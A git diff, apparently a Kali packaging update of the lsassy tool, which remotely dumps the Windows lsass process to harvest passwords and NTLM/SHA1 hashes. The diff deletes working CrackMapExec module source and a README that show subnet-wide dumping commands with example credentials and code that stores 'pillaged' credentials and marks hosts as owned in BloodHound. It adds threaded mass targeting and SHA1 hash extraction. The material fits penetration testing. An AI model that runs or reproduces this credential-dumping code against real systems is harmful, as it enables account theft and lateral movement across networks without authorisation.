diff --git a/.coverage b/.coverage new file mode 100644 index 0000000..b0d027b Binary files /dev/null and b/.coverage differ diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml new file mode 100644 index 0000000..f1d319c --- /dev/null +++ b/.github/workflows/codeql-analysis.yml @@ -0,0 +1,71 @@ +# For most projects, this workflow file will not need changing; you simply need +# to commit it to your repository. +# +# You may wish to alter this file to override the set of languages analyzed, +# or to provide custom queries or build logic. +name: "CodeQL" + +on: + push: + branches: [master] + pull_request: + # The branches below must be a subset of the branches above + branches: [master] + schedule: + - cron: '0 17 * * 4' + +jobs: + analyze: + name: Analyze + runs-on: ubuntu-latest + + strategy: + fail-fast: false + matrix: + # Override automatic language detection by changing the below list + # Supported options are ['csharp', 'cpp', 'go', 'java', 'javascript', 'python'] + language: ['python'] + # Learn more... + # https://docs.github.com/en/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#overriding-automatic-language-detection + + steps: + - name: Checkout repository + uses: actions/checkout@v2 + with: + # We must fetch at least the immediate parents so that if this is + # a pull request then we can checkout the head. + fetch-depth: 2 + + # If this run was triggered by a pull request event, then checkout + # the head of the pull request instead of the merge commit. + - run: git checkout HEAD^2 + if: ${{ github.event_name == 'pull_request' }} + + # Initializes the CodeQL tools for scanning. + - name: Initialize CodeQL + uses: github/codeql-action/init@v1 + with: + languages: ${{ matrix.language }} + # If you wish to specify custom queries, you can do so here or in a config file. + # By default, queries listed here will override any specified in a config file. + # Prefix the list here with "+" to use these queries and those in the config file. + # queries: ./path/to/local/query, your-org/your-repo/queries@main + + # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). + # If this step fails, then you should remove it and run the build manually (see below) + - name: Autobuild + uses: github/codeql-action/autobuild@v1 + + # ℹī¸ Command-line programs to run using the OS shell. + # 📚 https://git.io/JvXDl + + # ✏ī¸ If the Autobuild fails above, remove it and uncomment the following three lines + # and modify them (or add more) to build your code if your project + # uses a compiled language + + #- run: | + # make bootstrap + # make release + + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@v1 diff --git a/.python-version b/.python-version new file mode 100644 index 0000000..4910d42 --- /dev/null +++ b/.python-version @@ -0,0 +1,3 @@ +3.9.1 +3.8.2 +3.7.7 diff --git a/README.md b/README.md index 5db94cd..927c541 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # lsassy -[![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=2.1.2&x2=0)](https://pypi.org/project/lsassy/) [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo) +[![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=2.1.5&x2=0)](https://pypi.org/project/lsassy/) [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo) ![Example](https://github.com/Hackndo/lsassy/raw/master/assets/example.png) @@ -11,15 +11,22 @@ | Chapters | Description | |----------------------------------------------|---------------------------------------------------------| | [Requirements](#requirements) | Requirements to install lsassy from source | +| [Warning](#warning) | Before using this tool, read this | | [Documentation](#documentation) | Lsassy documentation | | [CrackMapExec Module](#crackmapexec-module) | Link to CrackMapExec module included in this repository | | [Issues](#issues) | Read this before creating an issue | | [Acknowledgments](#acknowledgments) | Kudos to these people and tools | -| [Contributors](#contributors) | People contributing to this tool | +| [Official Discord](#official-discord-channel)| Official Discord channel | ## Requirement * Python >= 3.6 + +## Warning + +Although I have made every effort to make the tool stable, traces may be left if errors occur. + +This tool can either leave some lsass dumps if it failed to delete it (eventhough it tries hard to do so) or leave a scheduled task running if it fails to delete it. This shouldn't happen, but it might. Now, you know, use it with caution. ## Documentation @@ -41,24 +48,8 @@ ### CrackMapExec module -* [Installation](https://github.com/Hackndo/lsassy/wiki/CME-Installation) -* [Basic Usage](https://github.com/Hackndo/lsassy/wiki/CME-Basic-Usage) -* [Advanced Usage](https://github.com/Hackndo/lsassy/wiki/CME-Advanced-Usage) - -## CrackMapExec module - -I wrote a CrackMapExec module that uses **lsassy** to extract credentials on compromised hosts - -CrackMapExec module is in `cme` folder : [CME Module](https://github.com/Hackndo/lsassy/tree/master/cme) - -## Issues - -If you find an issue with this tool (that's very plausible !), please - -* Check that you're using the latest version -* Send as much details as possible. - - For standalone **lsassy**, please use maximum verbosity `-vv` - - For CME module, please use CrackMapExec `--verbose` flag +* CrackMapExec module is now [part of CrackMapExec project](https://github.com/byt3bl33d3r/CrackMapExec/pull/341) +* CME module is [documentated in project's wiki](https://github.com/Hackndo/lsassy/wiki/) ## Changelog @@ -119,10 +110,6 @@ * [SkelSec](http://twitter.com/skelsec) for Pypykatz, but also for his patience and help * [mpgn](https://twitter.com/mpgn_x64) for his help and ideas -## Contributors +## Official Discord Channel -* [ITPPA](https://github.com/ITPPA/) -* [viaccoz](https://github.com/viaccoz) -* [blurbdust](https://github.com/blurbdust) -* [exploide](https://github.com/exploide) -* [Laxa](https://github.com/Laxa) +[![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/sEkn3aa) diff --git a/cme/README.md b/cme/README.md deleted file mode 100644 index b16a5f2..0000000 --- a/cme/README.md +++ /dev/null @@ -1,116 +0,0 @@ -# lsassy CrackMapExec Module - -![CrackMapExec >= 4.0.1](https://img.shields.io/badge/CrackMapExec-%3E=4.0.1-red) - -This CME module uses **lsassy** to remotely extract lsass password, and optionally interacts with Bloodhound to **set compromised hosts as owned** and check if compromised users have a **path to domain admin**. - -![CME Module example](https://github.com/Hackndo/lsassy/raw/master/assets/example_cme.png) - -## Requirements - -* Python2.7 - - [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) -* Python3.6+ - - [lsassy](https://github.com/Hackndo/lsassy/) - - -## Installation - -* Install **lsassy** - -### Python2 - -* Download [lsassy CrackMapExec module](https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy.py) -* Copy `lsassy.py` in `[CrackMapExec Path]/cme/modules` -* Reinstall CrackMapExec using python2.7 `python setup.py install` - -```bash -python3 -m pip install lsassy -wget https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy.py -cp lsassy.py /opt/CrackMapExec/cme/modules/ -cd /opt/CrackMapExec -python2.7 setup.py install -``` - -### Python3 - -* Download [lsassy CrackMapExec module](https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy3.py) -* Copy `lsassy3.py` in `[CrackMapExec Path]/cme/modules` -* Reinstall CrackMapExec using python3 `python setup.py install` - -```bash -python3 -m pip install lsassy -wget https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy3.py -cp lsassy3.py /opt/CrackMapExec/cme/modules/ -cd /opt/CrackMapExec -python3 setup.py install -``` - -## Usage - -### Basic - -```bash -cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -``` - -### Advanced - -By default, this module uses `rundll32.exe` with `comsvcs.dll` DLL to dump lsass process on the remote host, with method **1** of lsassy. - -If you want to specify the dumping method, use the `METHOD` option (`lsassy -h` for more details) - -```bash -cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o METHOD=3 -``` - -If you're using a method that requires procdump, you can specify procdump location with `PROCDUMP_PATH` option. - -```bash -cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o METHOD=2 PROCDUMP_PATH=/opt/Sysinternals/procdump.exe -``` - -By default, lsass dump name is randomly generated. If you want to specify a dump name, you can use `REMOTE_LSASS_DUMP` option. - -```bash -cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o REMOTE_LSASS_DUMP=LSASSY_DUMP.dmp -``` - -### BloodHound - -You can set BloodHound integration using `-o BLOODHOUND=True` flag. This flag enables different checks : -* Set "owned" on BloodHound computer nodes that are compromised -* Detect compromised users that have a **path to domain admin** - -```bash -cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o BLOODHOUND=True -``` - -You can check available options using - -``` -cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy --options -[*] lsassy module options: - - METHOD Method to use to dump procdump with lsassy. See lsassy -h for more details - REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random) - PROCDUMP_PATH Path to procdump on attacker host. If this is not set, "rundll32" method is used - BLOODHOUND Enable Bloodhound integration (default: false) - NEO4JURI URI for Neo4j database (default: 127.0.0.1) - NEO4JPORT Listeninfg port for Neo4j database (default: 7687) - NEO4JUSER Username for Neo4j database (default: 'neo4j') - NEO4JPASS Password for Neo4j database (default: 'neo4j') - WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '') - -``` - -## Issue - -If you find an issue with this tool (that's very plausible !), please - -* Check that you're using the latest version -* Send as much details as possible. - - For standalone **lsassy**, please use the `-d` debug flag - - For CME module, please use CrackMapExec `--verbose` flag - -Have fun diff --git a/cme/lsassy.py b/cme/lsassy.py deleted file mode 100644 index 47459dc..0000000 --- a/cme/lsassy.py +++ /dev/null @@ -1,269 +0,0 @@ -# Author: -# Romain Bentz (pixis - @hackanddo) -# Website: -# https://beta.hackndo.com [FR] -# https://en.hackndo.com [EN] - -import json -import subprocess -import sys - - -class CMEModule: - name = 'lsassy' - description = "Dump lsass and parse the result remotely with lsassy" - supported_protocols = ['smb'] - opsec_safe = True - multiple_hosts = True - - def options(self, context, module_options): - """ - METHOD Method to use to dump lsass.exe with lsassy. See lsassy -h for more details - REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random) - PROCDUMP_PATH Path to procdump on attacker host (Required for method 2) - DUMPERT_PATH Path to procdump on attacker host (Required for method 5) - BLOODHOUND Enable Bloodhound integration (default: false) - NEO4JURI URI for Neo4j database (default: 127.0.0.1) - NEO4JPORT Listeninfg port for Neo4j database (default: 7687) - NEO4JUSER Username for Neo4j database (default: 'neo4j') - NEO4JPASS Password for Neo4j database (default: 'neo4j') - WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '') - """ - - self.method = False - self.remote_lsass_dump = False - self.procdump_path = False - self.dumpert_path = False - - if 'METHOD' in module_options: - self.method = module_options['METHOD'] - - if 'REMOTE_LSASS_DUMP' in module_options: - self.remote_lsass_dump = module_options['REMOTE_LSASS_DUMP'] - - if 'PROCDUMP_PATH' in module_options: - self.procdump_path = module_options['PROCDUMP_PATH'] - - if 'DUMPERT_PATH' in module_options: - self.dumpert_path = module_options['DUMPERT_PATH'] - - self.bloodhound = False - self.neo4j_URI = "127.0.0.1" - self.neo4j_Port = "7687" - self.neo4j_user = "neo4j" - self.neo4j_pass = "neo4j" - self.without_edges = "" - - if module_options and 'BLOODHOUND' in module_options: - self.bloodhound = module_options['BLOODHOUND'] - if module_options and 'NEO4JURI' in module_options: - self.neo4j_URI = module_options['NEO4JURI'] - if module_options and 'NEO4JPORT' in module_options: - self.neo4j_Port = module_options['NEO4JPORT'] - if module_options and 'NEO4JUSER' in module_options: - self.neo4j_user = module_options['NEO4JUSER'] - if module_options and 'NEO4JPASS' in module_options: - self.neo4j_pass = module_options['NEO4JPASS'] - if module_options and 'WITHOUT_EDGES' in module_options: - self.without_edges = module_options['WITHOUT_EDGES'] - - def on_admin_login(self, context, connection): - if self.bloodhound: - self.set_as_owned(context, connection) - - """ - Since lsassy is py3.6+ and CME is still py2, lsassy cannot be - imported. For this reason, connection information must be sent to lsassy - so it can create a new connection. - - When CME is py3.6 compatible, CME connection object will be reused. - """ - domain_name = connection.domain - username = connection.username - password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") - nthash = getattr(connection, "nthash", "") - - password = "" if password is None else password - lmhash = "" if lmhash is None else lmhash - nthash = "" if nthash is None else nthash - - host = connection.host - - command = r"lsassy --format json -d '{}' -u '{}' -p '{}' -H '{}:{}' {}".format( - domain_name, username, password, lmhash, nthash, host - ) - - if context.verbose: - command += " -vv " - - if self.method: - command += " --method {}".format(self.method) - - if self.remote_lsass_dump: - command += " --dumpname {}".format(self.remote_lsass_dump) - - if self.procdump_path: - command += " --procdump {}".format(self.procdump_path) - - if self.dumpert_path: - command += " --dumpert {}".format(self.dumpert_path) - - # Parsing lsass dump remotely - context.log.info('Parsing lsass with lsassy') - context.log.debug('Lsassy command : {}'.format(command)) - code, out, err = self.run(command) - - context.log.debug('----- lsassy output -----') - for line in out.split("\n"): - context.log.debug('{}'.format(line)) - context.log.debug('----- end output -----') - - if code != 0: - # Debug output - if code == 5: - context.log.error('Lsass is protected') - else: - context.log.error('Error while executing lsassy, try using CrackMapExec with --verbose to get more details') - context.log.debug('----- lsassy error [{}] -----'.format(code)) - for line in err.split("\n"): - context.log.debug('{}'.format(line)) - context.log.debug('----- end error -----') - elif not context.verbose: - self.process_credentials(context, connection, out) - - @staticmethod - def run(cmd): - proc = subprocess.Popen([ - '/bin/sh', '-c', cmd], - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - ) - stdout, stderr = proc.communicate() - - return proc.returncode, stdout, stderr - - def process_credentials(self, context, connection, credentials): - credentials = json.loads(credentials) - for domain, users in credentials.items(): - for username, creds in users.items(): - for cred in creds: - password = cred['password'] - lmhash = cred['lmhash'] - nthash = cred['nthash'] - self.save_credentials(context, connection, domain, username, password, lmhash, nthash) - self.print_credentials(context, connection, domain, username, password, lmhash, nthash) - - @staticmethod - def save_credentials(context, connection, domain, username, password, lmhash, nthash): - host_id = context.db.get_computers(connection.host)[0][0] - if password is not None: - credential_type = 'plaintext' - else: - credential_type = 'hash' - password = ':'.join(h for h in [lmhash, nthash] if h is not None) - context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id) - - def print_credentials(self, context, connection, domain, username, password, lmhash, nthash): - if password is None: - password = ':'.join(h for h in [lmhash, nthash] if h is not None) - output = "%s\\%s %s" % (domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8')) - if self.bloodhound and self.bloodhound_analysis(context, connection, username): - output += " [{}PATH TO DA{}]".format('\033[91m', '\033[93m') # Red and back to yellow - context.log.highlight(output) - - def set_as_owned(self, context, connection): - try: - from neo4j.v1 import GraphDatabase - except: - from neo4j import GraphDatabase - from neo4j.exceptions import AuthError, ServiceUnavailable - host_fqdn = (connection.hostname + "." + connection.domain).upper() - uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) - - try: - driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass)) - except AuthError as e: - context.log.error( - "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass)) - sys.exit() - except ServiceUnavailable as e: - context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri)) - sys.exit() - except Exception as e: - context.log.error("Unexpected error with Neo4J") - context.log.debug("Error : ".format(str(e))) - sys.exit() - - with driver.session() as session: - with session.begin_transaction() as tx: - result = tx.run( - "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn)) - if len(result.value()) > 0: - context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn)) - else: - context.log.error( - "Node {} does not appear to be in Neo4J database. Have you imported correct data ?".format(host_fqdn)) - driver.close() - - def bloodhound_analysis(self, context, connection, username): - try: - from neo4j.v1 import GraphDatabase - except: - from neo4j import GraphDatabase - from neo4j.exceptions import AuthError, ServiceUnavailable - username = (username + "@" + connection.domain).upper().replace("\\", "\\\\") - uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) - - try: - driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass)) - except AuthError as e: - context.log.error( - "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass)) - return False - except ServiceUnavailable as e: - context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri)) - return False - except Exception as e: - context.log.error("Unexpected error with Neo4J") - context.log.debug("Error : ".format(str(e))) - return False - - edges = [ - "MemberOf", - "HasSession", - "AdminTo", - "AllExtendedRights", - "AddMember", - "ForceChangePassword", - "GenericAll", - "GenericWrite", - "Owns", - "WriteDacl", - "WriteOwner", - "CanRDP", - "ExecuteDCOM", - "AllowedToDelegate", - "ReadLAPSPassword", - "Contains", - "GpLink", - "AddAllowedToAct", - "AllowedToAct", - "SQLAdmin" - ] - # Remove blacklisted edges - without_edges = [e.lower() for e in self.without_edges.split(",")] - effective_edges = [edge for edge in edges if edge.lower() not in without_edges] - - with driver.session() as session: - with session.begin_transaction() as tx: - query = """ - MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m)) - WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512" - RETURN COUNT(p) AS pathNb - """.format(username, '|'.join(effective_edges)) - - context.log.debug("Query : {}".format(query)) - result = tx.run(query) - driver.close() - return result.value()[0] > 0 diff --git a/cme/lsassy3.py b/cme/lsassy3.py deleted file mode 100644 index d0e8195..0000000 --- a/cme/lsassy3.py +++ /dev/null @@ -1,268 +0,0 @@ -# Author: -# Romain Bentz (pixis - @hackanddo) -# Website: -# https://beta.hackndo.com [FR] -# https://en.hackndo.com [EN] - -import json -import subprocess -import sys - -from lsassy import Lsassy, Logger, Dumper, Parser, Writer - - -class CMEModule: - name = 'lsassy' - description = "Dump lsass and parse the result remotely with lsassy" - supported_protocols = ['smb'] - opsec_safe = True - multiple_hosts = True - - def options(self, context, module_options): - """ - METHOD Method to use to dump lsass.exe with lsassy. See lsassy -h for more details - REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random) - PROCDUMP_PATH Path to procdump on attacker host (Required for method 2) - DUMPERT_PATH Path to procdump on attacker host (Required for method 5) - BLOODHOUND Enable Bloodhound integration (default: false) - NEO4JURI URI for Neo4j database (default: 127.0.0.1) - NEO4JPORT Listeninfg port for Neo4j database (default: 7687) - NEO4JUSER Username for Neo4j database (default: 'neo4j') - NEO4JPASS Password for Neo4j database (default: 'neo4j') - WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '') - """ - - self.method = False - self.remote_lsass_dump = False - self.procdump_path = False - self.dumpert_path = False - - if 'METHOD' in module_options: - self.method = module_options['METHOD'] - - if 'REMOTE_LSASS_DUMP' in module_options: - self.remote_lsass_dump = module_options['REMOTE_LSASS_DUMP'] - - if 'PROCDUMP_PATH' in module_options: - self.procdump_path = module_options['PROCDUMP_PATH'] - - if 'DUMPERT_PATH' in module_options: - self.dumpert_path = module_options['DUMPERT_PATH'] - - self.bloodhound = False - self.neo4j_URI = "127.0.0.1" - self.neo4j_Port = "7687" - self.neo4j_user = "neo4j" - self.neo4j_pass = "neo4j" - self.without_edges = "" - - if module_options and 'BLOODHOUND' in module_options: - self.bloodhound = module_options['BLOODHOUND'] - if module_options and 'NEO4JURI' in module_options: - self.neo4j_URI = module_options['NEO4JURI'] - if module_options and 'NEO4JPORT' in module_options: - self.neo4j_Port = module_options['NEO4JPORT'] - if module_options and 'NEO4JUSER' in module_options: - self.neo4j_user = module_options['NEO4JUSER'] - if module_options and 'NEO4JPASS' in module_options: - self.neo4j_pass = module_options['NEO4JPASS'] - if module_options and 'WITHOUT_EDGES' in module_options: - self.without_edges = module_options['WITHOUT_EDGES'] - - def on_admin_login(self, context, connection): - if self.bloodhound: - self.set_as_owned(context, connection) - - """ - Since lsassy is py3.6+ and CME is still py2, lsassy cannot be - imported. For this reason, connection information must be sent to lsassy - so it can create a new connection. - - When CME is py3.6 compatible, CME connection object will be reused. - """ - domain_name = connection.domain - username = connection.username - password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") - nthash = getattr(connection, "nthash", "") - - password = "" if password is None else password - lmhash = "" if lmhash is None else lmhash - nthash = "" if nthash is None else nthash - - host = connection.host - - log_options = Logger.Options() - dump_options = Dumper.Options() - parse_options = Parser.Options() - write_option = Writer.Options(format="json", quiet=True) - - if self.method: - dump_options.method = int(self.method) - - if self.remote_lsass_dump: - dump_options.dumpname = self.remote_lsass_dump - - if self.procdump_path: - dump_options.procdump_path = self.procdump_path - - if self.dumpert_path: - dump_options.dumpert_path = self.dumpert_path - - lsassy = Lsassy( - hostname=host, - username=username, - domain=domain_name, - password=password, - lmhash=lmhash, - nthash=nthash, - log_options=log_options, - dump_options=dump_options, - parse_options=parse_options, - write_options=write_option - ) - credentials = lsassy.get_credentials() - - if not credentials['success']: - context.log.error(credentials['error_msg']) - if context.verbose and credentials['error_exception']: - context.log.error(credentials['error_exception']) - else: - self.process_credentials(context, connection, credentials["credentials"]) - - @staticmethod - def run(cmd): - proc = subprocess.Popen([ - '/bin/sh', '-c', cmd], - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - ) - stdout, stderr = proc.communicate() - - return proc.returncode, stdout, stderr - - def process_credentials(self, context, connection, credentials): - for domain, creds in json.loads(credentials).items(): - for username, passwords in creds.items(): - for password in passwords: - plain = password["password"] - lmhash = password["lmhash"] - nthash = password["nthash"] - self.save_credentials(context, connection, domain, username, plain, lmhash, nthash) - self.print_credentials(context, connection, domain, username, plain, lmhash, nthash) - - - - @staticmethod - def save_credentials(context, connection, domain, username, password, lmhash, nthash): - host_id = context.db.get_computers(connection.host)[0][0] - if password is not None: - credential_type = 'plaintext' - else: - credential_type = 'hash' - password = ':'.join(h for h in [lmhash, nthash] if h is not None) - context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id) - - def print_credentials(self, context, connection, domain, username, password, lmhash, nthash): - if password is None: - password = ':'.join(h for h in [lmhash, nthash] if h is not None) - output = "%s\\%s %s" % (domain, username, password) - if self.bloodhound and self.bloodhound_analysis(context, connection, username): - output += " [{}PATH TO DA{}]".format('\033[91m', '\033[93m') # Red and back to yellow - context.log.highlight(output) - - def set_as_owned(self, context, connection): - try: - from neo4j.v1 import GraphDatabase - except: - from neo4j import GraphDatabase - from neo4j.exceptions import AuthError, ServiceUnavailable - host_fqdn = (connection.hostname + "." + connection.domain).upper() - uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) - - try: - driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass)) - except AuthError as e: - context.log.error( - "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass)) - sys.exit() - except ServiceUnavailable as e: - context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri)) - sys.exit() - except Exception as e: - context.log.error("Unexpected error with Neo4J") - context.log.debug("Error : ".format(str(e))) - sys.exit() - - with driver.session() as session: - with session.begin_transaction() as tx: - result = tx.run( - "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn)) - if len(result.value()) > 0: - context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn)) - else: - context.log.error( - "Node {} does not appear to be in Neo4J database. Have you imported correct data ?".format(host_fqdn)) - driver.close() - - def bloodhound_analysis(self, context, connection, username): - try: - from neo4j.v1 import GraphDatabase - except: - from neo4j import GraphDatabase - from neo4j.exceptions import AuthError, ServiceUnavailable - username = (username + "@" + connection.domain).upper().replace("\\", "\\\\") - uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) - - try: - driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass)) - except AuthError as e: - context.log.error( - "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass)) - return False - except ServiceUnavailable as e: - context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri)) - return False - except Exception as e: - context.log.error("Unexpected error with Neo4J") - context.log.debug("Error : ".format(str(e))) - return False - - edges = [ - "MemberOf", - "HasSession", - "AdminTo", - "AllExtendedRights", - "AddMember", - "ForceChangePassword", - "GenericAll", - "GenericWrite", - "Owns", - "WriteDacl", - "WriteOwner", - "CanRDP", - "ExecuteDCOM", - "AllowedToDelegate", - "ReadLAPSPassword", - "Contains", - "GpLink", - "AddAllowedToAct", - "AllowedToAct", - "SQLAdmin" - ] - # Remove blacklisted edges - without_edges = [e.lower() for e in self.without_edges.split(",")] - effective_edges = [edge for edge in edges if edge.lower() not in without_edges] - - with driver.session() as session: - with session.begin_transaction() as tx: - query = """ - MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m)) - WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512" - RETURN COUNT(p) AS pathNb - """.format(username, '|'.join(effective_edges)) - - context.log.debug("Query : {}".format(query)) - result = tx.run(query) - driver.close() - return result.value()[0] > 0 diff --git a/cme/requirements.txt b/cme/requirements.txt deleted file mode 100644 index 119b891..0000000 --- a/cme/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -lsassy diff --git a/debian/changelog b/debian/changelog index bb33490..ec6cf00 100644 --- a/debian/changelog +++ b/debian/changelog @@ -1,3 +1,9 @@ +python-lsassy (2.1.5-0kali1) UNRELEASED; urgency=low + + * New upstream release. + + -- Kali Janitor Sun, 22 Aug 2021 07:05:48 -0000 + python-lsassy (2.1.2-0kali1) kali-dev; urgency=medium * Initial release diff --git a/lsassy/core.py b/lsassy/core.py index b6b87d2..6dd64cd 100755 --- a/lsassy/core.py +++ b/lsassy/core.py @@ -5,6 +5,7 @@ # https://beta.hackndo.com from multiprocessing import Process, RLock +import time from lsassy.modules.dumper import Dumper from lsassy.modules.impacketconnection import ImpacketConnection @@ -221,13 +222,21 @@ def run(): targets = get_targets(get_args().target) + # Maximum 256 processes because maximum 256 opened files in python by default + processes = min(get_args().threads, 256) if len(targets) == 1: return CLI(targets[0]).run().error_code - jobs = [Process(target=CLI(target).run) for target in targets] try: for job in jobs: + # Checking running processes to avoid reaching --threads limit + while True: + counter = sum(1 for j in jobs if j.is_alive()) + if counter >= processes: + time.sleep(1) + else: + break job.start() except KeyboardInterrupt as e: print("\nQuitting gracefully...") diff --git a/lsassy/exec/taskexe.py b/lsassy/exec/taskexe.py index 32d66a1..576887d 100644 --- a/lsassy/exec/taskexe.py +++ b/lsassy/exec/taskexe.py @@ -59,13 +59,10 @@ return """ - - 2015-07-15T20:35:13.2757294 + + 1989-09-17T02:20:00 true - - 1 - - + diff --git a/lsassy/exec/wmi.py b/lsassy/exec/wmi.py index a10e56d..7e6c11b 100644 --- a/lsassy/exec/wmi.py +++ b/lsassy/exec/wmi.py @@ -61,6 +61,8 @@ self.dcom.disconnect() raise KeyboardInterrupt(e) except Exception as e: + if self.dcom is not None: + self.dcom.disconnect() raise Exception("WMIEXEC not supported on host %s : %s" % (self.conn.hostname, e)) def execute(self, commands): diff --git a/lsassy/modules/logger.py b/lsassy/modules/logger.py index 61acb2c..3741c82 100644 --- a/lsassy/modules/logger.py +++ b/lsassy/modules/logger.py @@ -55,7 +55,7 @@ if not self._quiet: if output: print(out) - return out + return (out+"\n") def raw(self, msg): print("{}".format(msg), end='') diff --git a/lsassy/modules/parser.py b/lsassy/modules/parser.py index cd2832f..2d42060 100644 --- a/lsassy/modules/parser.py +++ b/lsassy/modules/parser.py @@ -36,18 +36,21 @@ password = getattr(cred, "password", None) LMHash = getattr(cred, "LMHash", None) NThash = getattr(cred, "NThash", None) + SHAHash = getattr(cred, "SHAHash", None) if LMHash is not None: LMHash = LMHash.hex() if NThash is not None: NThash = NThash.hex() + if SHAHash is not None: + SHAHash = SHAHash.hex() # Remove empty password, machine accounts and buggy entries if self._raw: - self._credentials.append([ssp, domain, username, password, LMHash, NThash]) - elif (not all(v is None or v == '' for v in [password, LMHash, NThash]) + self._credentials.append([ssp, domain, username, password, LMHash, NThash, SHAHash]) + elif (not all(v is None or v == '' for v in [password, LMHash, NThash, SHAHash]) and username is not None and not username.endswith('$') and not username == ''): - self._credentials.append((ssp, domain, username, password, LMHash, NThash)) + self._credentials.append((ssp, domain, username, password, LMHash, NThash, SHAHash)) return RetCode(ERROR_SUCCESS) def get_credentials(self): diff --git a/lsassy/modules/writer.py b/lsassy/modules/writer.py index 8f5bd69..67c6d46 100644 --- a/lsassy/modules/writer.py +++ b/lsassy/modules/writer.py @@ -42,7 +42,7 @@ if self._format == "json": json_output = {} for cred in self._credentials: - ssp, domain, username, password, lmhash, nthash = cred + ssp, domain, username, password, lmhash, nthash, shahash = cred domain = Writer._decode(domain) username = Writer._decode(username) @@ -55,7 +55,8 @@ credential = { "password": password, "lmhash": lmhash, - "nthash": nthash + "nthash": nthash, + "shahash": shahash } if credential not in json_output[domain][username]: json_output[domain][username].append(credential) @@ -73,12 +74,15 @@ max_size = max(len(c[1]) + len(c[2]) for c in self._credentials) credentials = [] for cred in self._credentials: - ssp, domain, username, password, lmhash, nthash = cred + ssp, domain, username, password, lmhash, nthash, shahash = cred domain = Writer._decode(domain) username = Writer._decode(username) password = Writer._decode(password) if password is None: - password = ':'.join(h for h in [lmhash, nthash] if h is not None) + password = ("[LM]"+lmhash+":") if lmhash is not None else "" + password+= ("[NT]"+nthash+":") if nthash is not None else "" + password+= ("[SHA1]"+shahash) if shahash is not None else "" + #password = ':'.join(h for h in [lmhash, nthash,shahash] if h is not None) if [domain, username, password] not in credentials: credentials.append([domain, username, password]) output += self._log.success( diff --git a/lsassy/utils/utils.py b/lsassy/utils/utils.py index 8a00e52..81b6399 100644 --- a/lsassy/utils/utils.py +++ b/lsassy/utils/utils.py @@ -38,6 +38,7 @@ group_dump.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)') group_dump.add_argument('--procdump', action='store', help='Procdump path') group_dump.add_argument('--dumpert', action='store', help='dumpert path') + group_dump.add_argument('--threads', default=32, type=int, action='store', help='Threads number') group_dump.add_argument('--timeout', default=10, type=int, action='store', help='Timeout before considering 